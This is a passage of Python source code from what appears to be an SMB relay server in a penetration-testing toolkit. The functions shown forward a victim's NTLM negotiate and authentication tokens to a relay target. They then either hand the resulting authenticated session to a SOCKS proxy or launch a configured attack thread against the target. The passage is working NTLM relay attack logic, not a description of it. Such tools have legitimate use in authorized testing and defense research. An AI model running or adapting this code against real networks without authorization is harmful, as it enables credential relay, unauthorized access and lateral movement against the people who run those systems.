766 respData['PadLen'] = 0

767 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )

768

769 respSMBCommand['Parameters'] = respParameters

770 respSMBCommand['Data'] = respData

771

772 resp['Uid'] = connData['Uid']

773 resp.addCommand(respSMBCommand)

774 smbServer.setConnectionData(connId, connData)

775

776 return None, [resp], errorCode

777 ################################################################################

778

779 #Initialize the correct client for the relay target

780 def init_client(self,extSec):

781 if self.target.scheme.upper() in self.config.protocolClients:

782 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)

783 client.initConnection()

784 else:

785 raise Exception('Protocol Client for %s not found!' % self.target.scheme)

786

787

788 return client

789

790 def do_ntlm_negotiate(self,client,token):

791 #Since the clients all support the same operations there is no target protocol specific code needed for now

792 return client.sendNegotiate(token)

793

794 def do_ntlm_auth(self,client,SPNEGO_token,challenge):

795 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB

796 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)

797

798 return clientResponse, errorCode

799

800 def do_attack(self,client):

801 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties

802 # Check if SOCKS is enabled and if we support the target scheme

803 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:

804 if self.config.runSocks is True:

805 # Pass all the data to the socksplugins proxy

806 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),

807 self.authUser, client, client.sessionData))

808 return

809

810 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

811 if self.target.scheme.upper() in self.config.attacks:

812 # We have an attack.. go for it

813 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)

814 clientThread.start()

815 else:

816 LOG.error('No attack configured for %s' % self.target.scheme.upper())

817

818 def _start(self):

819 self.server.daemon_threads=True

820 self.server.serve_forever()

821 LOG.info('Shutting down SMB Server')

822 self.server.server_close()

823

824 def run(self):

825 LOG.info("Setting up SMB Server")

826 self._start()

827